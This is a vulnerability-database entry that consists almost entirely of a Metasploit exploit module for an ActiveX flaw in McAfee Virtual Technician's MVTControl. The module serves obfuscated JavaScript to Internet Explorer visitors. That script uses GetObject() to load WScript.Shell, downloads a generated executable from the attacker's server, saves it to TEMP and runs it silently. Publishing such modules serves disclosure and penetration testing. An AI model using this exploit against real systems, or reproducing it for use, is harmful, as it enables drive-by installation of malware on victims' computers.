McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
MVTControl 6.3.0.1911 GetObject Vulnerability allows remote code execution using ActiveX contro

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#34;McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability&#34;,
			&#39;Description&#39;    =&#62; %q{
					This modules exploits a vulnerability found in McAfee Virtual Technician&#39;s
				MVTControl.  This ActiveX control can be abused by using the GetObject() function
				to load additional unsafe classes such as WScript.Shell, therefore allowing remote
				code execution under the context of the user.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;rgod&#39;,   #Initial discovery, Poc
					&#39;sinn3r&#39;  #Metasploit
				],
			&#39;References&#39;     =&#62;
				[
					[ &#39;EDB&#39;, &#39;18805&#39; ]
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;BadChars&#39;        =&#62; &#34;\x00&#34;,
				},
			&#39;DefaultOptions&#39;  =&#62;
				{
					&#39;ExitFunction&#39;         =&#62; &#34;none&#34;,
					&#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Automatic&#39;, {} ]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#34;Apr 30 2012&#34;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def exploit
		@payload_name = rand_text_alpha(rand(6) + 5) + &#34;.exe&#34;
		super
	end

	def on_request_uri(cli, request)
		agent = request.headers[&#39;User-Agent&#39;]

		if agent !~ /MSIE \d/
			print_error(&#34;#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}&#34;)
			send_not_found(cli)
			return
		end

		if request.uri =~ /\.exe$/
			return if ((p=regenerate_payload(cli))==nil)
			data = generate_payload_exe({:code=&#62;p.encoded})
			print_status(&#34;Sending payload&#34;)
			send_response(cli, data, {&#39;Content-Type&#39;=&#62;&#39;application/octet-stream&#39;})
			return
		end

		# &#60;object classid=&#39;clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF&#39; id=&#39;obj&#39;&#62;&#60;/object&#62;
		js = &#60;&#60;-JS
		var obj = new ActiveXObject(&#34;MVT.MVTControl.6300&#34;);

		var ws  = obj.GetObject(&#34;WScript.Shell&#34;);
		var ado = obj.GetObject(&#34;ADODB.Stream&#34;);
		var e   = ws.Environment(&#34;Process&#34;);
		var url = document.location + &#34;/#{@payload_name}&#34;;
		var tmp = e.Item(&#34;TEMP&#34;) + &#34;\\\\#{@payload_name}&#34;;

		var xml = new ActiveXObject(&#34;Microsoft.XMLHTTP&#34;);
		xml.open(&#34;GET&#34;, url, false);
		xml.send(null);
		res = xml.responseBody;

		ado.Type = 1;
		ado.Mode = 3;
		ado.Open();
		ado.Write(res);
		ado.SaveToFile(tmp);
		ws.Run(tmp, 0);
		JS

		js = ::Rex::Exploitation::JSObfu.new(js)
		js.obfuscate

		html = &#60;&#60;-EOS
		&#60;html&#62;
		&#60;head&#62;
		&#60;/head&#62;
		&#60;body&#62;
		&#60;script defer=defer&#62;
		#{js}
		&#60;/script&#62;
		&#60;/body&#62;
		&#60;/html&#62;
		EOS

		print_status(&#34;#{cli.peerhost}:#{cli.peerport} - Sending html&#34;)
		send_response(cli, html, {&#39;Content-Type&#39;=&#62;&#39;text/html&#39;})

	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1